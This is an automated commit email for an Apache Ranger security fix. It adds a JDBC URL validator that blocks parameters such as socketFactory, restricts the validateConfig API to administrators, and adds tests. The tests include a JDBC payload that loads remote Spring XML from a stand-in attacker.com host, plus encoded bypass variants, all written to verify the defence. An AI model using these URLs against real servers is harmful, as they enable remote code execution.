This is an automated email from the ASF dual-hosted git repository.

pradeepagrawal8184 pushed a commit to branch ranger-2.9
in repository https://gitbox.apache.org/repos/asf/ranger.git


The following commit(s) were added to refs/heads/ranger-2.9 by this push:
     new c89277d6d RANGER-5567: allow validateConfig API available only for 
users with R… (#1050)
c89277d6d is described below

commit c89277d6d3d2ea7821128db027ff3dab77e4d932
Author: Vyom Mani Tiwari <[email protected]>
AuthorDate: Tue Jul 7 11:51:28 2026 +0530

    RANGER-5567: allow validateConfig API available only for users with R… 
(#1050)
    
    * RANGER-5567: allow validateConfig API available only for users with 
Ranger admin role
    
    * RANGER-5567: merged fix for RANGER-5619 as well as 5619 is dependent on 
5567
---
 .../ranger/services/hive/client/HiveClient.java    |   1 +
 .../services/hive/client/JdbcUrlValidator.java     | 121 ++++++
 .../services/hive/client/JdbcUrlValidatorTest.java | 482 +++++++++++++++++++++
 .../java/org/apache/ranger/rest/ServiceREST.java   |  11 +
 .../ranger/security/context/RangerAPIMapping.java  |   2 +-
 .../org/apache/ranger/rest/TestServiceREST.java    |  52 +++
 6 files changed, 668 insertions(+), 1 deletion(-)

diff --git 
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
 
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
index 0d19b9ed1..6efa21aa3 100644
--- 
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
+++ 
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
@@ -634,6 +634,7 @@ private void initConnection(String userName, String 
password) throws HadoopExcep
                        String driverClassName = 
prop.getProperty("jdbc.driverClassName");
                        String url =  prop.getProperty("jdbc.url");
 
+                       JdbcUrlValidator.validate(url);
                        if (driverClassName != null) {
                                try {
                                        Driver driver = 
(Driver)Class.forName(driverClassName).newInstance();
diff --git 
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
 
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
new file mode 100644
index 000000000..754e30f0a
--- /dev/null
+++ 
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
@@ -0,0 +1,121 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.ranger.services.hive.client;
+
+import org.apache.ranger.plugin.client.HadoopException;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.net.URLDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+
+public final class JdbcUrlValidator {
+    private static final Logger LOG = 
LoggerFactory.getLogger(JdbcUrlValidator.class);
+    private static final Set<String> BLOCKED_PARAMS = 
Collections.unmodifiableSet(
+            new HashSet<>(Arrays.asList(
+                    "socketfactory", "socketfactoryarg", "sslfactory", 
"sslfactoryarg",
+                    "sslhostnameverifier", "authenticationpluginclassname", 
"loggerclassname",
+                    "kerberosservername", "gssdelegatecred", 
"sslpasswordcallback")));
+    private static final String[] DANGEROUS_PATTERNS = {"socketfactory", 
"sslfactory", "autodeserialize"};
+
+    private JdbcUrlValidator() {
+    }
+
+    public static void validate(String jdbcUrl) throws HadoopException {
+        if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) {
+            HadoopException e = new HadoopException("jdbc.url must not be null 
or empty");
+            e.generateResponseDataMap(false, "Validation failed", "jdbc.url is 
required",
+                    null, "jdbc.url");
+            throw e;
+        }
+        String trimmed = jdbcUrl.trim();
+        int queryStart = findQueryStart(trimmed);
+        if (queryStart != -1) {
+            String queryString = trimmed.substring(queryStart + 1);
+            validateQueryString(queryString, trimmed);
+        }
+        LOG.debug("jdbc.url passed validation: {}", sanitizeForLog(trimmed));
+    }
+
+    private static void validateQueryString(String queryString, String 
fullUrl) throws HadoopException {
+        String[] tokens = queryString.split("[&;?]");
+        for (String token : tokens) {
+            if (token.trim().isEmpty()) {
+                continue;
+            }
+            int eqIdx = token.indexOf('=');
+            String paramName = (eqIdx >= 0 ? token.substring(0, eqIdx) : 
token).trim();
+            String decodedParamName = paramName;
+            try {
+                // Jdk-8 specific fix .name().
+                decodedParamName = URLDecoder.decode(paramName, 
StandardCharsets.UTF_8.name());
+            } catch (Exception e) {
+                LOG.warn("Failed to decode parameter name: {}", paramName);
+            }
+
+            String normalized = 
decodedParamName.toLowerCase().trim().replaceAll("[._-]", "");
+            if (BLOCKED_PARAMS.contains(normalized)) {
+                logAndThrow("blocked parameter", normalized, paramName, 
fullUrl);
+            }
+            for (String danger : DANGEROUS_PATTERNS) {
+                if (normalized.contains(danger)) {
+                    logAndThrow("dangerous pattern '" + danger + "'", 
normalized, paramName, fullUrl);
+                }
+            }
+            if (normalized.contains("factory") && 
(normalized.contains("socket") || normalized.contains("ssl") ||
+                    normalized.contains("connection") || 
normalized.contains("auth") ||
+                    normalized.contains("driver") || 
normalized.contains("datasource"))) {
+                logAndThrow("potentially dangerous factory parameter", 
normalized, paramName, fullUrl);
+            }
+        }
+    }
+
+    static String sanitizeForLog(String url) {
+        if (url == null) {
+            return "<null>";
+        }
+        int idx = findQueryStart(url);
+        return idx >= 0 ? url.substring(0, idx) + "?<params_redacted>" : url;
+    }
+
+    private static int findQueryStart(String url) {
+        int qIdx = url.indexOf('?');
+        int sIdx = url.indexOf(';');
+        if (qIdx >= 0 && sIdx >= 0) {
+            return Math.min(qIdx, sIdx);
+        } else if (qIdx >= 0) {
+            return qIdx;
+        } else if (sIdx >= 0) {
+            return sIdx;
+        }
+        return -1;
+    }
+
+    private static void logAndThrow(String reason, String normalized, String 
originalParam, String fullUrl) {
+        LOG.warn("Rejected jdbc.url containing {} '{}' (param='{}'): {}", 
reason, normalized, originalParam, sanitizeForLog(fullUrl));
+        HadoopException e = new HadoopException("jdbc.url contains a 
prohibited parameter: '" + originalParam +
+                "'. This parameter is not permitted for security reasons.");
+        e.generateResponseDataMap(false, "Invalid jdbc.url parameter", 
"Parameter '" +
+                originalParam + "' is blocked", null, "jdbc.url");
+        throw e;
+    }
+}
diff --git 
a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
 
b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
new file mode 100644
index 000000000..9fae45476
--- /dev/null
+++ 
b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
@@ -0,0 +1,482 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package org.apache.ranger.services.hive.client;
+
+import org.apache.ranger.plugin.client.HadoopException;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+@Disabled("Blocked by pre-existing hive-agent/pom.xml conflict: 
log4j-over-slf4j "
+        + "(test-scope) clashes with slf4j-reload4j, causing 
NoClassDefFoundError "
+        + "on any test that triggers SLF4J logger init in this module. "
+        + "Not introduced by this PR — this issue will be  tracked separately. 
"
+        + "Verified manually against a local pom.xml with the conflicting 
dependency removed.")
+public class JdbcUrlValidatorTest {
+
+    @Test
+    public void simpleUrlWithoutParameters() {
+        JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default");
+    }
+
+    @Test
+    public void urlWithSafeParameters() {
+        
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?user=test&password=secret&ssl=true");
+    }
+
+    @Test
+    public void urlWithKerberosParameters() {
+        
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default?principal=hive/host@REALM;auth=kerberos");
+    }
+
+    @Test
+    public void postgresqlUrlWithSafeParameters() {
+        
JdbcUrlValidator.validate("jdbc:postgresql://localhost:5432/db?user=test&ssl=true");
+    }
+
+    @Test
+    public void urlWithWhitespace() {
+        JdbcUrlValidator.validate("  jdbc:hive2://host:10000/db  ");
+    }
+
+    @Test
+    public void rejectsExactBlockedParameters() {
+        String[] blockedParams = {
+                "socketfactory", "socketfactoryarg", "sslfactory", 
"sslfactoryarg",
+                "sslhostnameverifier", "authenticationpluginclassname", 
"loggerclassname",
+                "kerberosservername", "gssdelegatecred", "sslpasswordcallback"
+        };
+        for (String blockedParam : blockedParams) {
+            String url = "jdbc:hive2://host:10000/db?" + blockedParam + 
"=malicious";
+            try {
+                JdbcUrlValidator.validate(url);
+                fail("Expected HadoopException for blocked parameter: " + 
blockedParam);
+            } catch (HadoopException exception) {
+                assertTrue(exception.getMessage().contains("prohibited 
parameter"));
+                assertTrue(exception.getMessage().contains(blockedParam));
+            }
+        }
+    }
+
+    @Test
+    public void rejectsOriginalCvePayload() {
+        String url = "jdbc:postgresql://127.0.0.1:5432/x" +
+                
"?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext"
 +
+                "&socketFactoryArg=http://attacker.com/evil.xml";;
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for original CVE payload");
+        } catch (HadoopException exception) {
+            assertTrue(exception.getMessage().contains("prohibited 
parameter"));
+        }
+    }
+
+    @Test
+    public void rejectsDangerousPatterns() {
+        String[] patterns = {"socketfactory", "sslfactory", "autodeserialize"};
+        for (String pattern : patterns) {
+            String url = "jdbc:hive2://host:10000/db?custom" + pattern + 
"=malicious";
+            try {
+                JdbcUrlValidator.validate(url);
+                fail("Expected HadoopException for dangerous pattern: " + 
pattern);
+            } catch (HadoopException exception) {
+                assertTrue(exception.getMessage().contains("prohibited 
parameter"));
+            }
+        }
+    }
+
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void rejectsMysqlAutoDeserialize() {
+        String url = "jdbc:mysql://host:3306/db?customautodeserialize=true";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for MySQL autoDeserialize");
+        } catch (HadoopException expected) {
+            // expected
+        }
+    }
+
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void rejectsFactoryParameters() {
+        String[] factoryParams = {
+                "customsocketfactory", "mysslconnectionfactory", "authfactory",
+                "driverfactory", "datasourcefactory"
+        };
+        for (String factoryParam : factoryParams) {
+            String url = "jdbc:postgresql://host:5432/db?" + factoryParam + 
"=com.evil.Factory";
+            try {
+                JdbcUrlValidator.validate(url);
+                fail("Expected HadoopException for factory parameter: " + 
factoryParam);
+            } catch (HadoopException exception) {
+                assertTrue(exception.getMessage().contains("prohibited 
parameter"));
+            }
+        }
+    }
+
+    @Test
+    public void allowsNonDangerousFactory() {
+        
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?factory=simple&timeout=30");
+    }
+
+    @Test
+    public void rejectsUrlEncodedSocketFactory() {
+        String url = "jdbc:hive2://host:10000/db?socket%46actory=malicious";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for URL-encoded socketFactory");
+        } catch (HadoopException exception) {
+            assertTrue(exception.getMessage().contains("prohibited 
parameter"));
+        }
+    }
+
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void rejectsEncodedBypassAttempts() {
+        String[] encodedParams = {
+                "socket%46actory",      // %46 = 'F'
+                "socket%66actory",      // %66 = 'f'
+                "%73ocketfactory",      // %73 = 's'
+                "ssl%46actory",         // SSL factory with encoded F
+                "%73sl%46actory"        // Multiple encoded characters
+        };
+        for (String encodedParam : encodedParams) {
+            String url = "jdbc:postgresql://host:5432/db?" + encodedParam + 
"=malicious";
+            try {
+                JdbcUrlValidator.validate(url);
+                fail("Expected HadoopException for encoded parameter: " + 
encodedParam);
+            } catch (HadoopException expected) {
+                // expected
+            }
+        }
+    }
+
+    // Handles malformed URL encoding gracefully
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void handlesMalformedEncoding() {
+        String url = "jdbc:hive2://host:10000/db?socket%ZZfactory=test";
+        try {
+            JdbcUrlValidator.validate(url);
+        } catch (HadoopException e) {
+            assertTrue(e.getMessage().contains("prohibited parameter"));
+        }
+    }
+
+    // Rejects parameters regardless of case
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void rejectsParametersRegardlessOfCase() {
+        String[] paramNames = {
+                "SOCKETFACTORY", "SocketFactory", "socketFactory",
+                "SSLFACTORY", "SslFactory", "sslFactory"
+        };
+        for (String paramName : paramNames) {
+            String url = "jdbc:hive2://host:10000/db?" + paramName + 
"=malicious";
+            try {
+                JdbcUrlValidator.validate(url);
+                fail("Expected HadoopException for parameter: " + paramName);
+            } catch (HadoopException expected) {
+                // expected
+            }
+        }
+    }
+
+    // Handles mixed case with encoding
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void handlesMixedCaseWithEncoding() {
+        String url = "jdbc:hive2://host:10000/db?Socket%46actory=malicious";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for mixed case with encoding");
+        } catch (HadoopException expected) {
+            // expected
+        }
+    }
+
+    // Handles & separator
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void handlesAmpersandSeparator() {
+        String url = 
"jdbc:hive2://host:10000/db?user=test&socketfactory=evil&ssl=true";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for ampersand separator");
+        } catch (HadoopException expected) {
+            // expected
+        }
+    }
+
+    // Handles ; separator
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void handlesSemicolonSeparator() {
+        String url = 
"jdbc:hive2://host:10000/db?user=test;socketfactory=evil;ssl=true";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for semicolon separator");
+        } catch (HadoopException expected) {
+            // expected
+        }
+    }
+
+    // Handles mixed separators
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void handlesMixedSeparators() {
+        String url = 
"jdbc:hive2://host:10000/db?user=test;ssl=true&socketfactory=evil";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for mixed separators");
+        } catch (HadoopException expected) {
+            // expected
+        }
+    }
+
+    // Handles parameters without values
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void handlesParametersWithoutValues() {
+        String url = "jdbc:hive2://host:10000/db?ssl&socketfactory&timeout=30";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for parameters without values");
+        } catch (HadoopException expected) {
+            // expected
+        }
+    }
+
+    // Rejects parameters with separator character obfuscation
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void rejectsObfuscatedParameters() {
+        String[] obfuscatedParams = {
+                "socket.factory", "socket-factory", "socket_factory",
+                "ssl.factory", "ssl-factory", "ssl_factory"
+        };
+        for (String obfuscatedParam : obfuscatedParams) {
+            String url = "jdbc:hive2://host:10000/db?" + obfuscatedParam + 
"=malicious";
+            try {
+                JdbcUrlValidator.validate(url);
+                fail("Expected HadoopException for obfuscated parameter: " + 
obfuscatedParam);
+            } catch (HadoopException expected) {
+                // expected
+            }
+        }
+    }
+
+    // Handles multiple obfuscation techniques
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void handlesMultipleObfuscation() {
+        String url = "jdbc:hive2://host:10000/db?Socket-Factory_ARG=malicious";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for multiple obfuscation 
techniques");
+        } catch (HadoopException expected) {
+            // expected
+        }
+    }
+
+    // Rejects null URL
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void rejectsNullUrl() {
+        try {
+            JdbcUrlValidator.validate(null);
+            fail("Expected HadoopException for null URL");
+        } catch (HadoopException exception) {
+            assertTrue(exception.getMessage().contains("must not be null or 
empty"));
+        }
+    }
+
+    // Rejects empty URL
+    @Test
+    public void rejectsEmptyUrl() {
+        try {
+            JdbcUrlValidator.validate("");
+            fail("Expected HadoopException for empty URL");
+        } catch (HadoopException exception) {
+            assertTrue(exception.getMessage().contains("must not be null or 
empty"));
+        }
+    }
+
+    // Rejects whitespace-only URL
+    @Test
+    public void rejectsWhitespaceOnlyUrl() {
+        try {
+            JdbcUrlValidator.validate("   ");
+            fail("Expected HadoopException for whitespace-only URL");
+        } catch (HadoopException exception) {
+            assertTrue(exception.getMessage().contains("must not be null or 
empty"));
+        }
+    }
+
+    // Handles URL without query parameters
+    @Test
+    public void handlesUrlWithoutQueryParameters() {
+        JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default");
+    }
+
+    // Handles URL with empty query string
+    @Test
+    public void handlesUrlWithEmptyQueryString() {
+        JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?");
+    }
+
+    // Handles URL with only separators in query
+    @Test
+    public void handlesUrlWithOnlySeparators() {
+        JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?&;&;");
+    }
+
+    @Test
+    public void sanitizesUrlForLogging() {
+        String url = "jdbc:hive2://host:10000/db?password=secret&user=test";
+        String sanitized = JdbcUrlValidator.sanitizeForLog(url);
+        assertFalse(sanitized.contains("secret"));
+        assertTrue(sanitized.contains("<params_redacted>"));
+        assertTrue(sanitized.contains("jdbc:hive2://host:10000/db"));
+    }
+
+    // Handles null URL in sanitization
+    @Test
+    public void handlesNullUrlInSanitization() {
+        String result = JdbcUrlValidator.sanitizeForLog(null);
+        assertEquals("<null>", result);
+    }
+
+    // Handles URL without parameters in sanitization
+    @Test
+    public void handlesUrlWithoutParamsInSanitization() {
+        String url = "jdbc:hive2://host:10000/db";
+        String result = JdbcUrlValidator.sanitizeForLog(url);
+        assertEquals(url, result);
+    }
+
+    @Test
+    public void testSanitizeForLogWithSemicolonParams() {
+        String url = "jdbc:hive2://server:10000/db;user=admin;password=secret";
+        String result = JdbcUrlValidator.sanitizeForLog(url);
+        assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", result);
+    }
+
+    @Test
+    public void testSanitizeForLogWithQuestionMarkParams() {
+        String url = "jdbc:hive2://server:10000/db?user=admin&password=secret";
+        String result = JdbcUrlValidator.sanitizeForLog(url);
+        assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", result);
+    }
+
+    @Test
+    public void testSanitizeForLogWithMixedSeparators() {
+        String url = 
"jdbc:hive2://server:10000/db;ssl=true?socketFactory=evil";
+        String result = JdbcUrlValidator.sanitizeForLog(url);
+        assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", result);
+    }
+
+    @Test
+    public void blocksSemicolonBeforeQuestion() {
+        String url = "jdbc:hive2://host:10000/db;socketFactory=evil?user=test";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for semicolon-before-question 
delimiters");
+        } catch (HadoopException ex) {
+            assertTrue(ex.getMessage().contains("socketFactory"));
+        }
+    }
+
+    @Test
+    public void blocksQuestionBeforeSemicolon() {
+        String url = "jdbc:hive2://host:10000/db?socketFactory=evil;user=test";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for question-before-semicolon 
delimiters");
+        } catch (HadoopException ex) {
+            assertTrue(ex.getMessage().contains("socketFactory"));
+        }
+    }
+
+    // Handles semicolon-only Hive URLs
+    @Test
+    public void handlesSemicolonOnly() {
+        String url = "jdbc:hive2://host:10000/db;socketFactory=evil";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for semicolon-only URL");
+        } catch (HadoopException ex) {
+            assertTrue(ex.getMessage().contains("socketFactory"));
+        }
+    }
+
+    // Handles question-only URLs
+    @Test
+    public void handlesQuestionOnly() {
+        String url = "jdbc:hive2://host:10000/db?socketFactory=evil";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for question-only URL");
+        } catch (HadoopException ex) {
+            assertTrue(ex.getMessage().contains("socketFactory"));
+        }
+    }
+
+    @SuppressWarnings("PMD.JUnitUseExpected")
+    @Test
+    public void complexMaliciousUrl() {
+        String url = "jdbc:postgresql://evil.com:5432/db" +
+                "?user=admin&password=secret" +
+                
"&socket%46actory=org.springframework.context.support.ClassPathXmlApplicationContext"
 +
+                "&socketFactoryArg=http://attacker.com/evil.xml"; +
+                "&SSL-Factory=com.evil.SSLFactory" +
+                "&custom_autodeserialize=true";
+        try {
+            JdbcUrlValidator.validate(url);
+            fail("Expected HadoopException for complex malicious URL");
+        } catch (HadoopException expected) {
+            // expected
+        }
+    }
+
+    @Test
+    public void realWorldHiveUrl() {
+        String url = "jdbc:hive2://hive-server:10000/warehouse" +
+                "?principal=hive/[email protected]" +
+                ";auth=kerberos" +
+                ";ssl=true" +
+                ";sslTrustStore=/etc/hive/truststore.jks" +
+                ";transportMode=http" +
+                ";httpPath=cliservice";
+        JdbcUrlValidator.validate(url);
+    }
+
+    @Test
+    public void postgresqlSafeUrl() {
+        String url = "jdbc:postgresql://pg-server:5432/mydb" +
+                "?user=admin&password=secret&ssl=true&sslmode=require";
+        JdbcUrlValidator.validate(url);
+    }
+}
\ No newline at end of file
diff --git 
a/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java 
b/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java
index 9d9b9897b..4c5bd7e28 100644
--- a/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java
+++ b/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java
@@ -177,6 +177,7 @@ public class ServiceREST {
        public static final String PURGE_RECORD_TYPE_LOGIN_LOGS         = 
"login_records";
        public static final String PURGE_RECORD_TYPE_TRX_LOGS           = 
"trx_records";
        public static final String PURGE_RECORD_TYPE_POLICY_EXPORT_LOGS = 
"policy_export_logs";
+       public static final String ERR_VALIDATE_CONFIG_ADMIN_ONLY       = "Only 
system administrators or key administrators can validate service configs";
 
        @Autowired
        RESTErrorUtil restErrorUtil;
@@ -1141,6 +1142,16 @@ public VXResponse validateConfig(RangerService service) {
                VXResponse       ret  = new VXResponse();
                RangerPerfTracer perf = null;
 
+               if (!bizUtil.isAdmin()) {
+                       if (!bizUtil.isKeyAdmin()) {
+                               LOG.warn("Unauthorized validateConfig attempt 
by user: {}", bizUtil.getCurrentUserLoginId());
+                               throw 
restErrorUtil.createRESTException(HttpServletResponse.SC_FORBIDDEN, 
ERR_VALIDATE_CONFIG_ADMIN_ONLY, true);
+                       }
+                       XXServiceDef serviceDef = 
daoManager.getXXServiceDef().findByName(service.getType());
+                       if (serviceDef == null || 
!EmbeddedServiceDefsUtil.KMS_IMPL_CLASS_NAME.equals(serviceDef.getImplclassname()))
 {
+                               throw 
restErrorUtil.createRESTException(HttpServletResponse.SC_FORBIDDEN, 
ERR_VALIDATE_CONFIG_ADMIN_ONLY, true);
+                       }
+               }
                try {
                        if (RangerPerfTracer.isPerfTraceEnabled(PERF_LOG)) {
                                perf = RangerPerfTracer.getPerfTracer(PERF_LOG, 
"ServiceREST.validateConfig(serviceName=" + service.getName() + ")");
diff --git 
a/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java
 
b/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java
index 2558e5246..80b870947 100644
--- 
a/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java
+++ 
b/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java
@@ -333,6 +333,7 @@ private void mapUGWithAPIs() {
                
apiAssociatedWithUserAndGroups.add(RangerAPIList.SECURE_GET_X_USER);
                
apiAssociatedWithUserAndGroups.add(RangerAPIList.UPDATE_X_AUDIT_MAP);
                
apiAssociatedWithUserAndGroups.add(RangerAPIList.UPDATE_X_PERM_MAP);
+               
apiAssociatedWithUserAndGroups.add(RangerAPIList.VALIDATE_CONFIG);
 
                apiAssociatedWithUserAndGroups.add(RangerAPIList.CREATE);
                
apiAssociatedWithUserAndGroups.add(RangerAPIList.CREATE_DEFAULT_ACCOUNT_USER);
@@ -456,7 +457,6 @@ private void mapResourceBasedPoliciesWithAPIs() {
                apiAssociatedWithRBPolicies.add(RangerAPIList.LOOKUP_RESOURCE);
                apiAssociatedWithRBPolicies.add(RangerAPIList.UPDATE_SERVICE);
                
apiAssociatedWithRBPolicies.add(RangerAPIList.UPDATE_SERVICE_DEF);
-               apiAssociatedWithRBPolicies.add(RangerAPIList.VALIDATE_CONFIG);
 
                
apiAssociatedWithRBPolicies.add(RangerAPIList.GET_USER_PROFILE_FOR_USER);
                apiAssociatedWithRBPolicies.add(RangerAPIList.SEARCH_USERS);
diff --git 
a/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java 
b/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java
index 112839f77..f70fe27dd 100644
--- a/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java
+++ b/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java
@@ -1315,6 +1315,7 @@ public void test34countServices() throws Exception {
        @Test
        public void test35validateConfig() throws Exception {
                RangerService rangerService = rangerService();
+               Mockito.when(bizUtil.isAdmin()).thenReturn(true);
                Mockito.when(serviceMgr.validateConfig(rangerService, svcStore))
                                .thenReturn(vXResponse);
                VXResponse dbVXResponse = 
serviceREST.validateConfig(rangerService);
@@ -1322,6 +1323,57 @@ public void test35validateConfig() throws Exception {
                Mockito.verify(serviceMgr).validateConfig(rangerService, 
svcStore);
        }
 
+       @Test
+       public void test35ValidateConfig_NonAdminUser_ThrowsForbidden() throws 
Exception {
+               RangerService rangerService = rangerService();
+               Mockito.when(bizUtil.isAdmin()).thenReturn(false);
+               
Mockito.when(restErrorUtil.createRESTException(Mockito.eq(HttpServletResponse.SC_FORBIDDEN),
+                               
Mockito.eq(ServiceREST.ERR_VALIDATE_CONFIG_ADMIN_ONLY),
+                               Mockito.eq(true))).thenReturn(new 
WebApplicationException(HttpServletResponse.SC_FORBIDDEN));
+               Assert.assertThrows(WebApplicationException.class, () -> 
serviceREST.validateConfig(rangerService));
+               Mockito.verify(bizUtil).isAdmin();
+               
Mockito.verify(restErrorUtil).createRESTException(HttpServletResponse.SC_FORBIDDEN,
 ServiceREST.ERR_VALIDATE_CONFIG_ADMIN_ONLY, true);
+               Mockito.verify(serviceMgr, 
Mockito.never()).validateConfig(Mockito.any(), Mockito.any());
+       }
+
+       @Test
+       public void test35eValidateConfig_KeyAdminUser_KmsService_Succeeds() 
throws Exception {
+               RangerService rangerService = rangerService();
+               rangerService.setType("cm_kms");
+               Mockito.when(bizUtil.isAdmin()).thenReturn(false);
+               Mockito.when(bizUtil.isKeyAdmin()).thenReturn(true);
+               XXServiceDef xServiceDef = serviceDef();
+               XXServiceDefDao xServiceDefDao = 
Mockito.mock(XXServiceDefDao.class);
+               
xServiceDef.setImplclassname(EmbeddedServiceDefsUtil.KMS_IMPL_CLASS_NAME);
+               
Mockito.when(daoManager.getXXServiceDef()).thenReturn(xServiceDefDao);
+               
Mockito.when(xServiceDefDao.findByName("cm_kms")).thenReturn(xServiceDef);
+               Mockito.when(serviceMgr.validateConfig(rangerService, 
svcStore)).thenReturn(vXResponse);
+               VXResponse result = serviceREST.validateConfig(rangerService);
+               Assert.assertNotNull(result);
+               Mockito.verify(bizUtil).isAdmin();
+               Mockito.verify(bizUtil).isKeyAdmin();
+               Mockito.verify(serviceMgr).validateConfig(rangerService, 
svcStore);
+       }
+
+       @Test
+       public void 
test35fValidateConfig_KeyAdminUser_NonKmsService_ThrowsForbidden() throws 
Exception {
+               RangerService rangerService = rangerService();
+               rangerService.setType("hdfs");
+               Mockito.when(bizUtil.isAdmin()).thenReturn(false);
+               Mockito.when(bizUtil.isKeyAdmin()).thenReturn(true);
+               XXServiceDef xServiceDef = serviceDef();
+               XXServiceDefDao xServiceDefDao = 
Mockito.mock(XXServiceDefDao.class);
+               
xServiceDef.setImplclassname("org.apache.ranger.services.hdfs.RangerServiceHdfs");
+               
Mockito.when(daoManager.getXXServiceDef()).thenReturn(xServiceDefDao);
+               
Mockito.when(xServiceDefDao.findByName("hdfs")).thenReturn(xServiceDef);
+               
Mockito.when(restErrorUtil.createRESTException(Mockito.eq(HttpServletResponse.SC_FORBIDDEN),
 Mockito.anyString(), Mockito.eq(true)))
+                               .thenReturn(new 
WebApplicationException(HttpServletResponse.SC_FORBIDDEN));
+               Assert.assertThrows(WebApplicationException.class, () -> 
serviceREST.validateConfig(rangerService));
+               Mockito.verify(bizUtil).isAdmin();
+               Mockito.verify(bizUtil).isKeyAdmin();
+               Mockito.verify(serviceMgr, 
Mockito.never()).validateConfig(Mockito.any(), Mockito.any());
+       }
+
        @Test
        public void test40applyPolicy() {
                RangerPolicy existingPolicy = rangerPolicy();

Reply via email to